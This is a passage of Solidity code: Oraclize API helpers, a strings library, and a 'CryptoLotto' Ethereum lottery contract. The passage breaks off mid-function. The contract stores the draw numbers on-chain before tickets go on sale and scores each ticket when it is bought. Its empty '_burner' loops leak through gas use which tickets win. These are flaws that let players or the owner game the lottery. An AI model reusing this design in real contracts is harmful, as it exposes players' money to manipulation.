elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32 => bytes32) oraclize_randomDS_args; mapping(bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4 + (uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset + (uint(dersig[offset - 1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset + 1]) + 2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3 + 1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1 + 65 + 32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset - 65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1 + 65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3 + 65 + 1]) + 2); copyBytes(proof, 3 + 65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L") || (_proof[1] != "P") || (_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal pure returns (bool){ bool match_ = true; for (uint256 i = 0; i < prefix.length; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3 + 65 + (uint(proof[3 + 65 + 1]) + 2) + 32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (keccak256(keyhash) == keccak256(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1]) + 2); copyBytes(proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); copyBytes(proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; copyBytes(proof, sig2offset - 64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)) {//unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); copyBytes(proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false) { oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> */ pragma solidity ^0.4.14; library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); return ret; } function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop : jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit : } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } } contract CryptoLotto is usingOraclize { using strings for *; address Owner; uint public constant lottoPrice = 10 finney; uint public constant duration = 1 days; uint8 public constant lottoLength = 6; uint8 public constant lottoLowestNumber = 1; uint8 public constant lottoHighestNumber = 15; uint8 public constant sixMatchPayoutInPercent = 77; uint8 public constant bonusMatchPayoutInPercent = 11; uint8 public constant fiveMatchPayoutInPercent = 11; uint8 public constant ownerShareInPercent = 1; uint8 public constant numTurnsToRevolve = 10; string constant oraclizedQuery = "Sort[randomsample [range [1, 15], 7]], randomsample [range [0, 6], 1]"; string constant oraclizedQuerySource = "WolframAlpha"; bool public isLottoStarted = false; uint32 public turn = 0; uint32 public gasForOraclizedQuery = 600000; uint256 public raisedAmount = 0; uint8[] lottoNumbers = new uint8[](lottoLength); uint8 bonusNumber; enum lottoRank {NONCE, FIVE_MATCH, BONUS_MATCH, SIX_MATCH, DEFAULT} uint256 public finishWhen; uint256[] bettings; uint256[] accNumBettings; mapping(address => mapping(uint32 => uint64[])) tickets; uint256[] public raisedAmounts; uint256[] public untakenPrizeAmounts; uint32[] encodedLottoResults; uint32[] numFiveMatchWinners; uint32[] numBonusMatchWinners; uint32[] numSixMatchWinners; uint32[] nonces; uint64[] public timestamps; bytes32 oracleCallbackId; event LottoStart(uint32 turn); event FundRaised(address buyer, uint256 value, uint256 raisedAmount); event LottoNumbersAnnounced(uint8[] lottoNumbers, uint8 bonusNumber, uint256 raisedAmount, uint32 numFiveMatchWinners, uint32 numBonusMatchWinners, uint32 numSixMatchWinners); event SixMatchPrizeTaken(address winner, uint256 prizeAmount); event BonusMatchPrizeTaken(address winner, uint256 prizeAmount); event FiveMatchPrizeTaken(address winner, uint256 prizeAmount); modifier onlyOwner { require(msg.sender == Owner); _; } modifier onlyOracle { require(msg.sender == oraclize_cbAddress()); _; } modifier onlyWhenLottoNotStarted { require(isLottoStarted == false); _; } modifier onlyWhenLottoStarted { require(isLottoStarted == true); _; } function CryptoLotto() { Owner = msg.sender; } function launchLotto() onlyOwner { oracleCallbackId = oraclize_query(oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery); } // Emergency function to call only when the turn missed oraclized_query becaused of gas management failure and no chance to resume by itself. function resumeLotto() onlyOwner { require(finishWhen < now); oracleCallbackId = oraclize_query(oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery); } function setGasForOraclizedQuery(uint32 _gasLimit) onlyOwner { gasForOraclizedQuery = _gasLimit; } function __callback(bytes32 myid, string result) onlyOracle { require(myid == oracleCallbackId); if (turn > 0) _finishLotto(); _setLottoNumbers(result); _startLotto(); } function _startLotto() onlyWhenLottoNotStarted internal { turn++; finishWhen = now + duration; oracleCallbackId = oraclize_query(duration, oraclizedQuerySource, oraclizedQuery, gasForOraclizedQuery); isLottoStarted = true; numFiveMatchWinners.push(0); numBonusMatchWinners.push(0); numSixMatchWinners.push(0); nonces.push(0); LottoStart(turn); } function _finishLotto() onlyWhenLottoStarted internal { isLottoStarted = false; _saveLottoResult(); LottoNumbersAnnounced(lottoNumbers, bonusNumber, raisedAmounts[turn - 1], numFiveMatchWinners[turn - 1], numBonusMatchWinners[turn - 1], numSixMatchWinners[turn - 1]); } function _setLottoNumbers(string _strData) onlyWhenLottoNotStarted internal { uint8[] memory _lottoNumbers = new uint8[](lottoLength); uint8 _bonusNumber; var slicedString = _strData.toSlice(); slicedString.beyond("{{".toSlice()).until("}".toSlice()); var _strLottoNumbers = slicedString.split('}, {'.toSlice()); var _bonusNumberIndex = uint8(parseInt(slicedString.toString())); uint8 _lottoLowestNumber = lottoLowestNumber; uint8 _lottoHighestNumber = lottoHighestNumber; uint8 _nonce = 0; for (uint8 _index = 0; _index < lottoLength + 1; _index++) { var splited = _strLottoNumbers.split(', '.toSlice()); if (_index == _bonusNumberIndex) { bonusNumber = uint8(parseInt(splited.toString())); _nonce = 1; continue; } _lottoNumbers[_index - _nonce] = uint8(parseInt(splited.toString())); require(_lottoNumbers[_index - _nonce] >= _lottoLowestNumber && _lottoNumbers[_index - _nonce] <= _lottoHighestNumber); if (_index - _nonce > 0) require(_lottoNumbers[_index - _nonce - 1] < _lottoNumbers[_index - _nonce]); lottoNumbers[_index - _nonce] = _lottoNumbers[_index - _nonce]; } } function _saveLottoResult() onlyWhenLottoNotStarted internal { uint32 _encodedLottoResult = 0; var _raisedAmount = raisedAmount; // lottoNumbers[6] 24 bits [0..23] for (uint8 _index = 0; _index < lottoNumbers.length; _index++) { _encodedLottoResult |= uint32(lottoNumbers[_index]) << (_index * 4); } // bonusNumber 4 bits [24..27] _encodedLottoResult |= uint32(bonusNumber) << (24); uint256 _totalPrizeAmount = 0; if (numFiveMatchWinners[turn - 1] > 0) _totalPrizeAmount += _raisedAmount * fiveMatchPayoutInPercent / 100; if (numBonusMatchWinners[turn - 1] > 0) _totalPrizeAmount += _raisedAmount * bonusMatchPayoutInPercent / 100; if (numSixMatchWinners[turn - 1] > 0) _totalPrizeAmount += _raisedAmount * sixMatchPayoutInPercent / 100; raisedAmounts.push(_raisedAmount); untakenPrizeAmounts.push(_totalPrizeAmount); encodedLottoResults.push(_encodedLottoResult); accNumBettings.push(bettings.length); timestamps.push(uint64(now)); var _ownerShare = _raisedAmount * ownerShareInPercent / 100; Owner.transfer(_ownerShare); uint32 _numTurnsToRevolve = uint32(numTurnsToRevolve); uint256 _amountToCarryOver = 0; if (turn > _numTurnsToRevolve) _amountToCarryOver = untakenPrizeAmounts[turn - _numTurnsToRevolve - 1]; raisedAmount = _raisedAmount - _totalPrizeAmount - _ownerShare + _amountToCarryOver; } function getLottoResult(uint256 _turn) constant returns (uint256, uint256, uint32, uint32, uint32) { require(_turn < turn && _turn > 0); return (raisedAmounts[_turn - 1], untakenPrizeAmounts[_turn - 1], numFiveMatchWinners[_turn - 1], numBonusMatchWinners[_turn - 1], numSixMatchWinners[_turn - 1]); } function getLottoNumbers(uint256 _turn) constant returns (uint8[], uint8) { require(_turn < turn && _turn > 0); var _encodedLottoResult = encodedLottoResults[_turn - 1]; uint8[] memory _lottoNumbers = new uint8[](lottoLength); uint8 _bonusNumber; for (uint8 _index = 0; _index < _lottoNumbers.length; _index++) { _lottoNumbers[_index] = uint8((_encodedLottoResult >> (_index * 4)) & (2 ** 4 - 1)); } _bonusNumber = uint8((_encodedLottoResult >> 24) & (2 ** 4 - 1)); return (_lottoNumbers, _bonusNumber); } function buyTickets(uint _numTickets, uint8[] _betNumbersList, bool _isAutoGenerated) payable onlyWhenLottoStarted { require(finishWhen > now); var _lottoLength = lottoLength; require(_betNumbersList.length == _numTickets * _lottoLength); uint _totalPrice = _numTickets * lottoPrice; require(msg.value >= _totalPrice); for (uint j = 0; j < _numTickets; j++) { require(_betNumbersList[j * _lottoLength] >= lottoLowestNumber && _betNumbersList[(j + 1) * _lottoLength - 1] <= lottoHighestNumber); for (uint _index = 0; _index < _lottoLength - 1; _index++) { require(_betNumbersList[_index + j * _lottoLength] < _betNumbersList[_index + 1 + j * _lottoLength]); } } uint8[] memory _betNumbers = new uint8[](lottoLength); for (j = 0; j < _numTickets; j++) { for (_index = 0; _index < _lottoLength - 1; _index++) { _betNumbers[_index] = _betNumbersList[_index + j * _lottoLength]; } _betNumbers[_index] = _betNumbersList[_index + j * _lottoLength]; _saveBettingAndTicket(_betNumbers, _isAutoGenerated); } raisedAmount += _totalPrice; Owner.transfer(msg.value - _totalPrice); FundRaised(msg.sender, msg.value, raisedAmount); } function _getLottoRank(uint8[] _betNumbers) internal constant returns (lottoRank) { uint8 _lottoLength = lottoLength; uint8[] memory _lottoNumbers = new uint8[](_lottoLength); uint8 _indexLotto = 0; uint8 _indexBet = 0; uint8 _numMatch = 0; for (uint8 i = 0; i < _lottoLength; i++) { _lottoNumbers[i] = lottoNumbers[i]; } while (_indexLotto < _lottoLength && _indexBet < _lottoLength) { if (_betNumbers[_indexBet] == _lottoNumbers[_indexLotto]) { _numMatch++; _indexBet++; _indexLotto++; if (_numMatch > 4) for (uint8 _burner = 0; _burner < 6; _burner++) {} continue; } else if (_betNumbers[_indexBet] < _lottoNumbers[_indexLotto]) { _indexBet++; continue; } else { _indexLotto++; continue; } } if (_numMatch == _lottoLength - 1) { uint8 _bonusNumber = bonusNumber; for (uint8 _index = 0; _index < lottoLength; _index++) { if (_betNumbers[_index] == _bonusNumber) { for (_burner = 0; _burner < 6; _burner++) {} return lottoRank.BONUS_MATCH; } } return lottoRank.FIVE_MATCH; } else if (_numMatch == _lottoLength) { for (_burner = 0; _burner < 12; _burner++) {} return lottoRank.SIX_MATCH; } return lottoRank.DEFAULT; } function _saveBettingAndTicket(uint8[] _betNumbers, bool _isAutoGenerated) internal onlyWhenLottoStarted { require(_betNumbers.length == 6 && lottoHighestNumber <= 16); uint256 _encodedBetting = 0; uint64 _encodedTicket = 0; uint256 _nonce256 = 0; uint64 _nonce64 = 0; // isTaken 1 bit betting[0] ticket[0] // isAutoGenerated 1 bit betting[1] ticket[1] // betNumbers[6] 24 bits betting[2..25] ticket[2..25] // lottoRank.FIVE_MATCH 1 bit betting[26] ticket[26] // lottoRank.BONUS_MATCH 1 bit betting[27] ticket[27] // lottoRank.SIX_MATCH 1 bit betting[28] ticket[28] // sender address 160 bits betting[29..188] // timestamp 36 bits betting[189..224] ticket[29..64] // isAutoGenerated if (_isAutoGenerated) { _encodedBetting |= uint256(1) << 1; _encodedTicket |= uint64(1) << 1; } // betNumbers[6] for (uint8 _index = 0; _index < _betNumbers.length; _index++) { uint256 _betNumber = uint256(_betNumbers[_index]) << (_index * 4 + 2); _encodedBetting |= _betNumber; _encodedTicket |= uint64(_betNumber); } // lottoRank.FIVE_MATCH, lottoRank.BONUS_MATCH, lottoRank.SIX_MATCH lottoRank _lottoRank = _getLottoRank(_betNumbers); if (_lottoRank == lottoRank.FIVE_MATCH) { numFiveMatchWinners[turn - 1]++; _encodedBetting |= uint256(1) << 26; _encodedTicket |= uint64(1) << 26; } else if (_lottoRank == lottoRank.BONUS_MATCH) { numBonusMatchWinners[turn - 1]++; _encodedBetting |= uint256(1) << 27; _encodedTicket |= uint64(1) << 27; } else if (_lottoRank == lottoRank.SIX_MATCH) { numSixMatchWinners[turn - 1]++; _encodedBetting |= uint256(1) << 28; _encodedTicket |= uint64(1) << 28; } else { nonces[turn - 1]++; _nonce256 |= uint256(1) << 29; _nonce64 |= uint64(1) << 29; } // sender address _encodedBetting |= uint256(msg.sender) << 29; // timestamp _encodedBetting |= now << 189; _encodedTicket |= uint64(now) << 29; // push ticket tickets[msg.sender][turn].push(_encodedTicket); // push betting bettings.push(_encodedBetting); } function getNumBettings() constant returns (uint256) { return bettings.length; } function getTurn(uint256 _bettingId) constant returns (uint32) { uint32 _turn = turn; require(_turn > 0); require(_bettingId < bettings.length); if (_turn == 1 || _bettingId < accNumBettings[0]) return 1; if (_bettingId >= accNumBettings[_turn - 2]) return _turn; uint32 i = 0; uint32 j = _turn - 1; uint32 mid = 0; while (i < j) { mid = (i + j) / 2; if (accNumBettings[mid] == _bettingId) return mid + 2; if (_bettingId < accNumBettings[mid]) { if (mid > 0 && _bettingId > accNumBettings[mid - 1]) return mid + 1; j = mid; } else { if (mid < _turn - 2 && _bettingId < accNumBettings[mid + 1]) return mid + 2; i = mid + 1; } } return mid + 2; } function getBetting(uint256 i) constant returns (bool, bool, uint8[], lottoRank, uint32){ require(i < bettings.length); uint256 _betting = bettings[i]; // isTaken 1 bit [0] bool _isTaken; if (_betting & 1 == 1) _isTaken = true; else _isAutoGenerated = false; // _isAutoGenerated 1 bit [1] bool _isAutoGenerated; if ((_betting >> 1) & 1 == 1) _isAutoGenerated = true; else _isAutoGenerated = false; // 6 betNumbers 24 bits [2..25] uint8[] memory _betNumbers = new uint8[](lottoLength); for (uint8 _index = 0; _index < lottoLength; _index++) { _betNumbers[_index] = uint8((_betting >> (_index * 4 + 2)) & (2 ** 4 - 1)); } // _timestamp bits [189..255] uint128 _timestamp; _timestamp = uint128((_betting >> 189) & (2 ** 67 - 1)); uint32 _turn = getTurn(i); if (_turn == turn && isLottoStarted) return (_isTaken, _isAutoGenerated, _betNumbers, lottoRank.NONCE, _turn); // return lottoRank only when the turn is finished // lottoRank 3 bits [26..28] lottoRank _lottoRank = lottoRank.DEFAULT; if ((_betting >> 26) & 1 == 1) _lottoRank = lottoRank.FIVE_MATCH; if ((_betting >> 27) & 1 == 1) _lottoRank = lottoRank.BONUS_MATCH; if ((_betting >> 28) & 1 == 1) _lottoRank = lottoRank.SIX_MATCH; return (_isTaken, _isAutoGenerated, _betNumbers, _lottoRank, _turn); } function getBettingExtra(uint256 i) constant returns (address, uint128){ require(i < bettings.length); uint256 _betting = bettings[i]; uint128 _timestamp = uint128((_betting >> 189) & (2 ** 67 - 1)); address _beneficiary = address((_betting >> 29) & (2 ** 160 - 1)); return (_beneficiary, _timestamp); } function getMyResult(uint32 _turn) constant returns (uint256, uint32, uint32, uint32, uint256) { require(_turn > 0); if (_turn == turn) require(!isLottoStarted); else require(_turn < turn); uint256 _numMyTickets = tickets[msg.sender][_turn].length; uint256 _totalPrizeAmount = 0; uint64 _ticket; uint32 _numSixMatchPrizes = 0; uint32 _numBonusMatchPrizes = 0; uint32 _numFiveMatchPrizes = 0; if (_numMyTickets == 0) { return (0, 0, 0, 0, 0); } for (uint256 _index = 0; _index < _numMyTickets; _index++) { _ticket = tickets[msg.sender][_turn][_index]; if ((_ticket >> 26) & 1 == 1) { _numFiveMatchPrizes++; _totalPrizeAmount += _getFiveMatchPrizeAmount(_turn); } else if ((_ticket >> 27) & 1 == 1) { _numBonusMatchPrizes++; _totalPrizeAmount += _getBonusMatchPrizeAmount(_turn); } else if ((_ticket >> 28) & 1 == 1) { _numSixMatchPrizes++; _totalPrizeAmount += _getSixMatchPrizeAmount(_turn); } } return (_numMyTickets, _numSixMatchPrizes, _numBonusMatchPrizes, _numFiveMatchPrizes, _totalPrizeAmount); } function getNumMyTickets(uint32 _turn) constant returns (uint256) { require(_turn > 0 && _turn <= turn); return tickets[msg.sender][_turn].length; } function getMyTicket(uint32 _turn, uint256 i) constant returns (bool, bool, uint8[], lottoRank, uint64){ require(_turn <= turn); require(i < tickets[msg.sender][_turn].length); uint64 _ticket = tickets[msg.sender][_turn][i]; // isTaken 1 bit ticket[0] bool _isTaken = false; if ((_ticket & 1) == 1) _isTaken = true; // isAutoGenerated 1 bit ticket[1] bool _isAutoGenerated = false; if ((_ticket >> 1) & 1 == 1) _isAutoGenerated = true; // betNumbers[6] 24 bits ticket[2..25] uint8[] memory _betNumbers = new uint8[](lottoLength); for (uint8 _index = 0; _index < lottoLength; _index++) { _betNumbers[_index] = uint8((_ticket >> (_index * 4 + 2)) & (2 ** 4 - 1)); } // timestamp 36 bits ticket[29..64] uint64 _timestamp = uint64((_ticket >> 29) & (2 ** 36 - 1)); if (_turn == turn) return (_isTaken, _isAutoGenerated, _betNumbers, lottoRank.NONCE, _timestamp); // return lottoRank only when the turn is finished // lottoRank.FIVE_MATCH 1 bit ticket[26] // lottoRank.BONUS_MATCH 1 bit ticket[27] // lottoRank.SIX_MATCH 1 bit ticket[28] lottoRank _lottoRank = lottoRank.DEFAULT; if ((_ticket >> 26) & 1 == 1) _lottoRank = lottoRank.FIVE_MATCH; if ((_ticket >> 27) & 1 == 1) _lottoRank = lottoRank.BONUS_MATCH; if ((_ticket >> 28) & 1 == 1) _lottoRank = lottoRank.SIX_MATCH; return (_isTaken, _isAutoGenerated, _betNumbers, _lottoRank, _timestamp); } function getMyUntakenPrizes(uint32 _turn) constant returns (uint32[]) { require(_turn > 0 && _turn < turn); uint256 _numMyTickets = tickets[msg.sender][_turn].length; uint32[] memory _prizes = new uint32[](50); uint256 _indexPrizes = 0; for (uint16 _index; _index < _numMyTickets; _index++) { uint64 _ticket = tickets[msg.sender][_turn][_index]; if (((_ticket >> 26) & 1 == 1) && (_ticket & 1 == 0)) _prizes[_indexPrizes++] = _index; else if (((_ticket >> 27) & 1 == 1) && (_ticket & 1 == 0)) _prizes[_indexPrizes++] = _index; else if (((_ticket >> 28) & 1 == 1) && (_ticket & 1 == 0)) _prizes[_indexPrizes++] = _index; if (_indexPrizes >= 50) { break; } } uint32[] memory _retPrizes = new uint32[](_indexPrizes); for (_index = 0; _index < _indexPrizes; _index++) { _retPrizes[_index] = _prizes[_index]; } return (_retPrizes); } function takePrize(uint32 _turn, uint256 i) { require(_turn > 0 && _turn < turn); if (turn > numTurnsToRevolve) require(_turn >= turn - numTurnsToRevolve); require(i < tickets[msg.sender][_turn].length); var _ticket = tickets[msg.sender][_turn][i]; // isTaken must be false require((_ticket & 1) == 0); // lottoRank.FIVE_MATCH 1 bit [26] // lottoRank.BONUS_MATCH 1 bit [27] // lottoRank.SIX_MATCH 1 bit [28] if ((_ticket >> 26) & 1 == 1) { uint256 _prizeAmount = _getFiveMatchPrizeAmount(_turn); require(_prizeAmount > 0); msg.sender.transfer(_prizeAmount); FiveMatchPrizeTaken(msg.sender, _prizeAmount); tickets[msg.sender][_turn][i] |= 1; untakenPrizeAmounts[_turn - 1] -= _prizeAmount; } else if ((_ticket >> 27) & 1 == 1) { _prizeAmount = _getBonusMatchPrizeAmount(_turn); require(_prizeAmount > 0); msg.sender.transfer(_prizeAmount); BonusMatchPrizeTaken(msg.sender, _prizeAmount); tickets[msg.sender][_turn][i] |= 1; untakenPrizeAmounts[_turn - 1] -= _prizeAmount; } else if ((_ticket >> 28) & 1 == 1) { _prizeAmount = _getSixMatchPrizeAmount(_turn); require(_prizeAmount > 0); msg.sender.transfer(_prizeAmount); 